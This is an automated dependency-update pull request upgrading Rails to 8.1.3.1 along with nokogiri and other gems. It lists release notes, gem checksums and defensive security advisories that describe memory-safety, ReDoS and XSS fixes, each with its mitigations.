🚨 [security] Update rails 7.1.5.2 → 8.1.3.1 (major)


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ rails (7.1.5.2 → 8.1.3.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ baby_squeel (3.0.0 → 4.0.0) · Repo · Changelog

Release Notes

4.0.0 (from changelog)

  • Remove ActiveRecord boundary
  • Added support for ActiveRecord 8.1
  • Added support for Ransack 4.4 (#134)
  • Added support for ActiveRecord 8.0
  • Added support for ActiveRecord 7.2
  • Droped support for ActiveRecord 6.1 and 7.0
  • Added Ruby 3.3 and 3.4 to test matrix
  • Droped support for Ruby 3.0 and 3.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 14 commits:

✳️ bundler-audit (0.9.2 → 0.9.3) · Repo · Changelog

Release Notes

0.9.3

  • Officially support Ruby 3.4, 3.5, and 4.0.
  • Added support for Bundler 4.x.
  • Fixed typos in API documentation.

CLI

  • Ensure that the bundler-audit check command honors the BUNDLER_AUDIT_DB environment variable.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

✳️ minitest-rails (7.1.1 → 8.1.0) · Repo · Changelog

✳️ nokogiri (1.18.9 → 1.19.4) · Repo · Changelog

Security Advisories 🚨

🚨 Nokogiri: Possible Use-After-Free when setting an attribute value via `Nokogiri::XML::Attr#value=` or `#content=`

Summary

Nokogiri’s CRuby native extension could leave a Ruby wrapper pointing to freed memory when replacing the value of an XML attribute. If Ruby code had already accessed an attribute child node, Nokogiri::XML::Attr#value= could free the underlying native child node while the wrapper remained reachable through the document node cache. A later use of the freed child node or a Ruby GC mark could dereference an invalid pointer, causing an invalid read and a possible segfault.

Nokogiri 1.19.4 preserves any already-wrapped attribute child nodes before replacing the attribute value.

JRuby is not affected.

Severity

The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must directly access an attribute's child node and then replace that same attribute's value via Attr#value= or #content=. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. Already-wrapped attribute child nodes are preserved before the value is replaced.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

As a workaround, avoid accessing attribute child nodes directly via Attr#child or similar before mutating the same attribute’s value.

Credit

This issue was responsibly reported by Zheng Yu from depthfirst.com.

🚨 Nokogiri: Possible Use-After-Free when setting `Document#root=` to an invalid node type

Summary

Nokogiri::XML::Document#root= validated only that the new root was a Nokogiri::XML::Node, allowing a DTD node to be set as the document root. The result is a heap use-after-free during garbage collection or finalization, leading to an invalid memory read or potentially a segfault.

Nokogiri 1.19.4 restricts Document#root= to element nodes, raising TypeError for any other node type.

This memory-safety issue affects only the CRuby implementation (libxml2). The JRuby implementation was not affected; the same input validation was added there for behavioral parity.

Severity

The Nokogiri maintainers have evaluated this as low severity. This is only triggered by a programming error. It requires application code to assign a non-element node such as a DTD as the document root via Document#root=. Nokogiri 1.19.4 now raises TypeError instead of allowing a use-after-free. It cannot be triggered by untrusted input or through normal use of the public API.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

As a workaround, applications that cannot upgrade should avoid assigning a DTD (or any non-element node) via Document#root=.

Credit

This issue was responsibly reported by Zheng Yu from depthfirst.com.

🚨 Nokogiri: Possible Use-After-Free when directly using `NokogirI::XML::XPathContext` beyond document lifetime

Summary

Nokogiri::XML::XPathContext did not keep its source document alive for garbage collection. If an XPathContext outlived its document and the document was collected, evaluating an XPath expression could read invalid memory and potentially segfault.

This is only reachable when application code constructs an XPathContext directly and lets the document become unreachable while continuing to use the context. The normal Document#xpath, #css, and related search methods are not affected, and it is not triggerable by malicious document input.

Nokogiri 1.19.4 makes XPathContext keep its source document alive for as long as the context exists.

Only the CRuby implementation is affected. JRuby is not affected.

Severity

The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must construct an XML::XPathContext directly and continue using it after allowing its source document to be garbage-collected. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The context now keeps its source document alive for as long as it exists.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

As a workaround, ensure the source document remains referenced for as long as any XPathContext created from it is in use. The standard Document#xpath, #css, and related search methods already do this and are unaffected.

Credit

This issue was responsibly reported by Zheng Yu from depthfirst.com.

🚨 Nokogiri: Possible Use-After-Free in XInclude Processing

Summary

XInclude substitution performed by Nokogiri::XML::Node#do_xinclude replaced each <xi:include> in place, freeing the include node along with its children (such as <xi:fallback> and its descendants) and any namespaces declared on them. If an application had already exposed one of those nodes or namespaces to Ruby, the corresponding Ruby object was left pointing at freed memory. Using the object could result in invalid reads or writes to memory.

Nokogiri 1.19.4 substitutes each <xi:include> on a defensive copy by default, so the structures libxml2 frees are never the ones bound to live Ruby objects.

Only the CRuby implementation is affected; JRuby is not affected.

Severity

The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must parse a document without XInclude, traverse into an <xi:include> subtree to expose its nodes or namespaces to Ruby, and only then invoke XInclude processing. The common case, requesting XInclude at parse time, operates on a freshly parsed document whose nodes are not yet exposed to Ruby and is not affected. Nokogiri 1.19.4 makes this pattern safe by default and requires no change to application code.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

As a workaround for earlier versions, perform XInclude substitution at parse time (with the xinclude parse option) rather than calling #do_xinclude on a document that has already been traversed. A freshly parsed document has no nodes exposed to Ruby, so the substitution is safe.

Credit

This issue was responsibly reported by Zheng Yu from depthfirst.com.

🚨 Nokogiri: Possible Use-After-Free when `Nokogiri::XML::Document#encoding=` raises an exception

Summary

Calling Document#encoding= with an invalid encoding (e.g., a non-string, or a string containing a null byte) raises an exception, but only after freeing the document's current encoding string without replacing it. The document is left referencing freed memory, so the next call to Document#encoding reads invalid memory, which can cause a segfault or leak freed bytes into a Ruby String.

Affects the CRuby (libxml2) implementation only; JRuby is not affected.

Severity

The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must pass an invalid encoding to Document#encoding=, rescue the resulting exception, and then continue using the same document. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The document no longer references freed memory after the exception is raised.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

If users are unable to upgrade, avoid passing attacker-controlled values to Document#encoding=. Applications that only assign developer-authored encodings are not directly exposed.

Credit

This issue was responsibly reported by Zheng Yu from depthfirst.com.

🚨 Nokogiri: XML::Schema on JRuby allows network requests when NONET is set, bypassing CVE-2020-26247

Summary

The NONET parse option, which Nokogiri turns on by default for Nokogiri::XML::Schema (see CVE-2020-26247), was not correctly enforced on the JRuby implementation. As a result, a schema parsed with default options could still cause external resources to be fetched over the network, potentially enabling SSRF or XXE attacks.

Nokogiri 1.19.4 replaces the scheme denylist with an allowlist. When NONET is enabled, only local resources (a file: scheme, or a relative or absolute path with no scheme) are resolved, and every network scheme is blocked, case-insensitively. This brings the JRuby behavior in line with CRuby.

Only the JRuby implementation is affected. CRuby is not affected, because libxml2's xmlNoNetExternalEntityLoader blocks all network schemes at the I/O layer regardless of scheme or case.

Severity

The Nokogiri maintainers have evaluated this as low severity (CVSS 2.6, CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N). It is a bypass of CVE-2020-26247, which was scored the same way.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

There are no known workarounds for affected versions.

This change properly enforces NONET on JRuby, which is a breaking change for any code that (perhaps unknowingly) relied on the previous behavior to load network resources with default parse options. If you trust your input and want to allow external resources to be accessed over the network, you can explicitly disable NONET, exactly as documented for CVE-2020-26247:

  1. Ensure the input is trusted. Do not enable this option for untrusted input.
  2. Pass a Nokogiri::XML::ParseOptions with the NONET flag turned off:
# allows resources to be accessed over the network for trusted input
schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)

References

Credit

This issue was responsibly reported by @bilerden.

🚨 Nokogiri: Null Pointer Dereference calling methods on uninitialized wrapper classes

Summary

Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node. This caused a NULL pointer dereference that could crash the process.

Nokogiri 1.19.4 checks for missing native data pointers and raises a RuntimeError.

JRuby is not affected.

Severity

The Nokogiri maintainers have evaluated this as low severity. This is only triggered by a programming error. It requires application code to call .allocate directly on a native-backed class and then invoke methods on the resulting uninitialized object. It cannot be triggered by untrusted input or through normal use of the public API.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

Avoid calling .allocate directly on Nokogiri native-backed classes. Use the documented constructors and factory methods instead.

Credit

This issue was responsibly reported by Zheng Yu from depthfirst.com.

🚨 Nokogiri: Possible Out-of-Bounds Read in `Nokogiri::XML::NodeSet#[]`

Summary

Nokogiri::XML::NodeSet#[] (and its alias #slice) checked the requested index against the node set's bounds using a 32-bit-truncated copy of the index. A large negative index could pass the check and then be used at full width, reading outside the node set's storage. On CRuby this is an out-of-bounds read that typically crashes the process; on JRuby it is not memory-unsafe but returns an incorrect node.

Nokogiri 1.19.4 performs the bounds check against the full-width index.

Severity

The Nokogiri maintainers have evaluated this as medium severity.

Exploitation requires an application to pass an attacker-controlled integer to NodeSet#[]. The primary impact is a controlled crash (denial of service), with potential for memory disclosure on CRuby.

On JRuby, Nokogiri is not affected by this vulnerability.

Mitigation

Upgrade to Nokogiri 1.19.4 or later.

As a workaround, applications that index a NodeSet with externally-supplied integers can validate the index against node_set.length before use, or avoid passing untrusted values as an index.

Credit

This issue was responsibly reported by Zheng Yu from depthfirst.com.

🚨 Nokogiri CSS selector tokenizer has regular expression backtracking

Summary

Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release:

  1. String-literal tokenization on certain unterminated quoted-string input.
  2. String-literal tokenization on a separate class of hex-escape-rich input.
  3. Identifier tokenization on hex-escape-rich input.

The public CSS selector methods that funnel through the affected tokenizer are Nokogiri::CSS.xpath_for, Node#css, Node#at_css, Searchable#search, and CSS::Parser#parse.

Mitigation

Upgrade to Nokogiri >= 1.19.3.

If users are unable to upgrade, two options are available:

  • Avoid the use of attacker-controlled text in CSS selectors. Applications that only pass developer-authored selectors to Nokogiri are not directly exposed.
  • Set global Regexp.timeout (Ruby 3.2+, JRuby 9.4+) to bound parse time.

Severity

The Nokogiri maintainers have evaluated this as High Severity (CVSS 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

An attacker able to inject user-supplied text into a CSS selector parse method can cause exponential backtracking, resulting in a potential denial of service.

Resources

Credit

Vector 1 was responsibly reported by @colby-swandale. Vectors 2 and 3 were discovered by @flavorjones during the response to the original report.

🚨 Nokogiri XSLT transform has a memory leak

Summary

Nokogiri's Nokogiri::XSLT::Stylesheet#transform leaks a small heap allocation when passed a Ruby string parameter containing a null byte.

For applications that pass attacker-controlled input through XSLT.transform parameters, this may be a vector for a denial of service attack against long-running processes.

Mitigation

Upgrade to Nokogiri >= 1.19.3.

Users may also be able to mitigate this issue without upgrading by validating untrusted transform parameters before passing them to Nokogiri::XSLT::Stylesheet#transform.

Severity

The Nokogiri maintainers have evaluated this as Moderate Severity, CVSS 5.3.

Each leaked allocation is approximately 24–32 bytes, so meaningful memory growth requires sustained attacker-controlled traffic at high call rates. The bug does not cause memory corruption, information disclosure, or any change in the behavior of the transform itself, and the string-handling exception is raised as expected.

Applications that do not pass raw attacker-controlled bytes to XSLT parameters are unlikely to be affected in practice.

Resources

Credit

This vulnerability was responsibly reported by @Captainjack-kor.

🚨 Nokogiri does not check the return value from xmlC14NExecute

Summary

Nokogiri's CRuby extension fails to check the return value from xmlC14NExecute in the method Nokogiri::XML::Document#canonicalize and Nokogiri::XML::Node#canonicalize. When canonicalization fails, an empty string is returned instead of raising an exception. This incorrect return value may allow downstream libraries to accept invalid or incomplete canonicalized XML, which has been demonstrated to enable signature validation bypass in SAML libraries.

JRuby is not affected, as the Java implementation correctly raises RuntimeError on canonicalization failure.

Mitigation

Upgrade to Nokogiri >= 1.19.1.

Severity

The maintainers have assessed this as Medium severity. Nokogiri itself is a parsing library without a clear security boundary related to canonicalization, so the direct impact is that a method returns incorrect data on invalid input. However, this behavior was exploited in practice to bypass SAML signature validation in downstream libraries (see References).

Credit

This vulnerability was responsibly reported by HackerOne researcher d4d.

Release Notes

1.19.4

v1.19.4 / 2026-06-18

Security

  • [CRuby] (Low) Fixed a possible invalid memory read when XML::Node#initialize_copy_with_args is called with an argument that is not a Node. See GHSA-g9g8-vgvw-g3vf for more information.
  • [CRuby] (Low) Fixed a possible use-after-free when an XML::XPathContext is used after its source document has been garbage collected. See GHSA-p67v-3w7g-wjg7 for more information.
  • [CRuby] (Low) Fixed a possible use-after-free during XInclude processing via Node#do_xinclude. See GHSA-wfpw-mmfh-qq69 for more information.
  • [CRuby] (Low) Fixed a possible use-after-free when Document#root= is assigned a non-element node. See GHSA-wjv4-x9w8-wm3h for more information.
  • [CRuby] (Low) Fixed a possible use-after-free when setting an attribute value via XML::Attr#value= or #content=. See GHSA-phwj-rprq-35pp for more information.
  • [CRuby] (Low) Fixed a null pointer dereference when methods are called on uninitialized wrapper objects (e.g. via allocate); these now raise instead of crashing the process. See GHSA-9cv2-cfxc-v4v2 for more information.
  • [CRuby] (Low) Fixed a possible use-after-free when Document#encoding= raises an exception. See GHSA-5v8h-3h3q-446p for more information.
  • [CRuby] (Medium) Fixed an out-of-bounds read in XML::NodeSet#[] (alias #slice) when given a large negative index. See GHSA-5prr-v3j2-97mh for more information.
  • [JRuby] (Low) XML::Schema now enforces the NONET parse option, which Nokogiri enables by default. It was not enforced on JRuby, so a schema parsed with default options could still fetch external resources over the network, potentially enabling SSRF or XXE attacks and bypassing the mitigation for CVE-2020-26247. See GHSA-8678-w3jw-xfc2 for more information.

SHA256 checksums

1269fb644a6de405057a53dd5c762b1209b43ca7424f839454d3dbc677c31a8f  nokogiri-1.19.4-aarch64-linux-gnu.gem
35c65b9ce72b3bb03207bdbe7067915019dc18c1b9b59139684bd6690fdd01af  nokogiri-1.19.4-aarch64-linux-musl.gem
a301313e38bb065d68239e79734bcd6f56fb6efaacebde29e9abf2a4735340ca  nokogiri-1.19.4-arm-linux-gnu.gem
588923c101bcfa78869734d247d25b598674323e7f22474fc468f6e5647311eb  nokogiri-1.19.4-arm-linux-musl.gem
a46db9853286e6597b36ebc6953817d15acf3a299583eb3f89fdc6f91dd63527  nokogiri-1.19.4-arm64-darwin.gem
ce04b9e268c9626852231a48b49128ed52034f1ccb39484a6da3875491cd709e  nokogiri-1.19.4-java.gem
051da97b8eccfdb5444fed40246a35e10d7298b9efe759b4cd25455ea04c587e  nokogiri-1.19.4-x64-mingw-ucrt.gem
7fd17057d3e1f00e9954a74b3cd76595d3d4a5ef233b7ed9599047c204f70551  nokogiri-1.19.4-x86_64-darwin.gem
379fae440b28915e3f19d752ce2dcf8465ed2b2fbefd2a7ca0dd497bc981a06a  nokogiri-1.19.4-x86_64-linux-gnu.gem
17dfb7c1fa194ae02fbf7c51a7afc8d278045ab3fdacfd86f91d02d7b274470b  nokogiri-1.19.4-x86_64-linux-musl.gem
50c951611c92bca05c51411aef45f1cbc50f2821c4802758c5c6d34696533ab5  nokogiri-1.19.4.gem

1.19.3

v1.19.3 / 2026-04-27

Fixed / Security

  • Address exponential regex backtracking in CSS selector tokenizer. See GHSA-c4rq-3m3g-8wgx for more information.
  • [CRuby] Address memory leak in XSLT::Stylesheet#transform. See GHSA-v2fc-qm4h-8hqv for more information.

sha256 checksums

46b89e5d7b9e844c2ee360794240c6ea2a4e6fa0c5892a4ed487db621224b639  nokogiri-1.19.3-aarch64-linux-gnu.gem
8392dfdcd21be7a94dbbe9ccc138dea01b97b24cb2dc02a114ca98bfb1d9a0b7  nokogiri-1.19.3-aarch64-linux-musl.gem
3919d5ffc334ad778a4a9eb88fda7dcb8b1fb58c8a52ac640c6dcd2f038e774f  nokogiri-1.19.3-arm-linux-gnu.gem
9ce1cb6346bb9c67b1550eb537aa183ead91e4b6eadb2f36ade02d8dd2a79fb6  nokogiri-1.19.3-arm-linux-musl.gem
71b9bd424b1b7abc18b05052a1a3cfd3627abdca62be280854cc411791357e42  nokogiri-1.19.3-arm64-darwin.gem
40ea6ebf5cf2005dae1dee26dd557d3afb41fb6de6c9764aca8cf06fdb841db1  nokogiri-1.19.3-java.gem
8bb7132cad356c879a1286eaabcb5e68326cb2490317984280fbc62f456d506a  nokogiri-1.19.3-x64-mingw-ucrt.gem
77f3fba57d46c53ab31e62fc6c28f705109d1bf6264356c76f132b2be5728d4d  nokogiri-1.19.3-x86_64-darwin.gem
2f5078620fe12e83669b5b17311b32532a8153d02eee7ad06948b926d6080976  nokogiri-1.19.3-x86_64-linux-gnu.gem
248c906d2166eca5efb56d52fdee5f9a1f51d69a72e2b64fdac647b4ce39ea3f  nokogiri-1.19.3-x86_64-linux-musl.gem
78312cbac32a40c812780d9678221b79d51288eec00054c1a8d15f7ce05960e8  nokogiri-1.19.3.gem

1.19.2

v1.19.2 / 2026-03-19

Dependencies

  • [JRuby] Saxon-HE is updated to 12.7, from 9.6.0-4. Saxon-HE is a transitive dependency of nu.validator:jing, and this update addresses CVEs in Saxon-HE's own transitive dependencies JDOM and dom4j. We don't think this warrants a security release, however we're cutting a patch release to help users whose security scanners are flagging this. [#3611] @flavorjones

SHA256 Checksums

c34d5c8208025587554608e98fd88ab125b29c80f9352b821964e9a5d5cfbd19  nokogiri-1.19.2-aarch64-linux-gnu.gem
7f6b4b0202d507326841a4f790294bf75098aef50c7173443812e3ac5cb06515  nokogiri-1.19.2-aarch64-linux-musl.gem
b7fa1139016f3dc850bda1260988f0d749934a939d04ef2da13bec060d7d5081  nokogiri-1.19.2-arm-linux-gnu.gem
61114d44f6742ff72194a1b3020967201e2eb982814778d130f6471c11f9828c  nokogiri-1.19.2-arm-linux-musl.gem
58d8ea2e31a967b843b70487a44c14c8ba1866daa1b9da9be9dbdf1b43dee205  nokogiri-1.19.2-arm64-darwin.gem
e9d67034bc80ca71043040beea8a91be5dc99b662daa38a2bfb361b7a2cc8717  nokogiri-1.19.2-java.gem
8ccf25eea3363a2c7b3f2e173a3400582c633cfead27f805df9a9c56d4852d1a  nokogiri-1.19.2-x64-mingw-ucrt.gem
7d9af11fda72dfaa2961d8c4d5380ca0b51bc389dc5f8d4b859b9644f195e7a4  nokogiri-1.19.2-x86_64-darwin.gem
fa8feca882b73e871a9845f3817a72e9734c8e974bdc4fbad6e4bc6e8076b94f  nokogiri-1.19.2-x86_64-linux-gnu.gem
93128448e61a9383a30baef041bf1f5817e22f297a1d400521e90294445069a8  nokogiri-1.19.2-x86_64-linux-musl.gem
38fdd8b59db3d5ea9e7dfb14702e882b9bf819198d5bf976f17ebce12c481756  nokogiri-1.19.2.gem

Full Changelog: v1.19.1...v1.19.2

1.19.1

v1.19.1 / 2026-02-16

Security

sha256 checksums

cfdb0eafd9a554a88f12ebcc688d2b9005f9fce42b00b970e3dc199587b27f32  nokogiri-1.19.1-aarch64-linux-gnu.gem
1e2150ab43c3b373aba76cd1190af7b9e92103564063e48c474f7600923620b5  nokogiri-1.19.1-aarch64-linux-musl.gem
0a39ed59abe3bf279fab9dd4c6db6fe8af01af0608f6e1f08b8ffa4e5d407fa3  nokogiri-1.19.1-arm-linux-gnu.gem
3a18e559ee499b064aac6562d98daab3d39ba6cbb4074a1542781b2f556db47d  nokogiri-1.19.1-arm-linux-musl.gem
dfe2d337e6700eac47290407c289d56bcf85805d128c1b5a6434ddb79731cb9e  nokogiri-1.19.1-arm64-darwin.gem
1e0bda88b1c6409f0edb9e0c25f1bf9ff4fa94c3958f492a10fcf50dda594365  nokogiri-1.19.1-java.gem
110d92ae57694ae7866670d298a5d04cd150fae5a6a7849957d66f171e6aec9b  nokogiri-1.19.1-x64-mingw-ucrt.gem
7093896778cc03efb74b85f915a775862730e887f2e58d6921e3fa3d981e68bf  nokogiri-1.19.1-x86_64-darwin.gem
1a4902842a186b4f901078e692d12257678e6133858d0566152fe29cdb98456a  nokogiri-1.19.1-x86_64-linux-gnu.gem
4267f38ad4fc7e52a2e7ee28ed494e8f9d8eb4f4b3320901d55981c7b995fc23  nokogiri-1.19.1-x86_64-linux-musl.gem
598b327f36df0b172abd57b68b18979a6e14219353bca87180c31a51a00d5ad3  nokogiri-1.19.1.gem

1.19.0

v1.19.0 / 2025-12-28

Ruby

This release is focused on changes to Ruby version support, and is otherwise functionally identical to v1.18.10.

sha256 checksums

11a97ecc3c0e7e5edcf395720b10860ef493b768f6aa80c539573530bc933767  nokogiri-1.19.0-aarch64-linux-gnu.gem
eb70507f5e01bc23dad9b8dbec2b36ad0e61d227b42d292835020ff754fb7ba9  nokogiri-1.19.0-aarch64-linux-musl.gem
572a259026b2c8b7c161fdb6469fa2d0edd2b61cd599db4bbda93289abefbfe5  nokogiri-1.19.0-arm-linux-gnu.gem
23ed90922f1a38aed555d3de4d058e90850c731c5b756d191b3dc8055948e73c  nokogiri-1.19.0-arm-linux-musl.gem
0811dfd936d5f6dd3f6d32ef790568bf29b2b7bead9ba68866847b33c9cf5810  nokogiri-1.19.0-arm64-darwin.gem
5f3a70e252be641d8a4099f7fb4cc25c81c632cb594eec9b4b8f2ca8be4374f3  nokogiri-1.19.0-java.gem
05d7ed2d95731edc9bef2811522dc396df3e476ef0d9c76793a9fca81cab056b  nokogiri-1.19.0-x64-mingw-ucrt.gem
1dad56220b603a8edb9750cd95798bffa2b8dd9dd9aa47f664009ee5b43e3067  nokogiri-1.19.0-x86_64-darwin.gem
f482b95c713d60031d48c44ce14562f8d2ce31e3a9e8dd0ccb131e9e5a68b58c  nokogiri-1.19.0-x86_64-linux-gnu.gem
1c4ca6b381622420073ce6043443af1d321e8ed93cc18b08e2666e5bd02ffae4  nokogiri-1.19.0-x86_64-linux-musl.gem
e304d21865f62518e04f2bf59f93bd3a97ca7b07e7f03952946d8e1c05f45695  nokogiri-1.19.0.gem

1.18.10

v1.18.10 / 2025-09-15

Dependencies

  • [CRuby] Vendored libxml2 is updated to v2.13.9. Note that the security fixes published in v2.13.9 were already present in Nokogiri v1.18.9.
  • [CRuby] [Windows and MacOS] Vendored libiconv is updated to v1.18

sha256 checksums

7fb87235d729c74a2be635376d82b1d459230cc17c50300f8e4fcaabc6195344  nokogiri-1.18.10-aarch64-linux-gnu.gem
7e74e58314297cc8a8f1b533f7212d1999dbe2639a9ee6d97b483ea2acc18944  nokogiri-1.18.10-aarch64-linux-musl.gem
51f4f25ab5d5ba1012d6b16aad96b840a10b067b93f35af6a55a2c104a7ee322  nokogiri-1.18.10-arm-linux-gnu.gem
1c6ea754e51cecc85c30ee8ab1e6aa4ce6b6e134d01717e9290e79374a9e00aa  nokogiri-1.18.10-arm-linux-musl.gem
c2b0de30770f50b92c9323fa34a4e1cf5a0af322afcacd239cd66ee1c1b22c85  nokogiri-1.18.10-arm64-darwin.gem
cd431a09c45d84a2f870ba0b7e8f571199b3727d530f2b4888a73639f76510b5  nokogiri-1.18.10-java.gem
64f40d4a41af9f7f83a4e236ad0cf8cca621b97e31f727b1bebdae565a653104  nokogiri-1.18.10-x64-mingw-ucrt.gem
536e74bed6db2b5076769cab5e5f5af0cd1dccbbd75f1b3e1fa69d1f5c2d79e2  nokogiri-1.18.10-x86_64-darwin.gem
ff5ba26ba2dbce5c04b9ea200777fd225061d7a3930548806f31db907e500f72  nokogiri-1.18.10-x86_64-linux-gnu.gem
0651fccf8c2ebbc2475c8b1dfd7ccac3a0a6d09f8a41b72db8c21808cb483385  nokogiri-1.18.10-x86_64-linux-musl.gem
d5cc0731008aa3b3a87b361203ea3d19b2069628cb55e46ac7d84a0445e69cc1  nokogiri-1.18.10.gem

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 70 commits:

↗️ actioncable (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Release Notes

8.0.1 (from changelog)

  • Ensure the Postgresql adapter always use a dedicated connection even during system tests.

    Fix an issue with the Action Cable Postgresql adapter causing deadlock or various weird pg client error during system tests.

    Jean Boussier

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • No changes.

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • No changes.

7.2.0 (from changelog)

  • Bring ActionCable::Connection::TestCookieJar in alignment with ActionDispatch::Cookies::CookieJar in regards to setting the cookie value.

    Before:

    cookies[:foo] = { value: "bar" }
    puts cookies[:foo] # => { value: "bar" }

    After:

    cookies[:foo] = { value: "bar" }
    puts cookies[:foo] # => "bar"

    Justin Ko

  • Record ping on every Action Cable message.

    Previously only ping and welcome message types were keeping the connection active. Now every Action Cable message updates the pingedAt value, preventing the connection from being marked as stale.

    yauhenininjia

  • Add two new assertion methods for Action Cable test cases: assert_has_no_stream and assert_has_no_stream_for.

    These methods can be used to assert that a stream has been stopped, e.g. via stop_stream or stop_stream_for. They complement the already existing assert_has_stream and assert_has_stream_for methods.

    assert_has_no_stream "messages"
    assert_has_no_stream_for User.find(42)

    Sebastian Pöll, Junichi Sato

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionmailbox (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionmailer (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

Release Notes

8.0.1 (from changelog)

  • No changes.

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • No changes.

7.2.1.2 (from changelog)

  • Fix NoMethodError in block_format helper

    Michael Leimstaedtner

7.2.1.1 (from changelog)

7.2.1 (from changelog)

  • No changes.

7.2.0 (from changelog)

  • Remove deprecated params via :args for assert_enqueued_email_with.

    Rafael Mendonça França

  • Remove deprecated config.action_mailer.preview_path.

    Rafael Mendonça França

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionpack (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 Rails has a possible XSS vulnerability in its Action Pack debug exceptions

Impact

The debug exceptions page does not properly escape exception messages. A carefully crafted exception message could inject arbitrary HTML and JavaScript into the page, leading to XSS. This affects applications with detailed exception pages enabled (config.consider_all_requests_local = true), which is the default in development.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher fbettag.

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

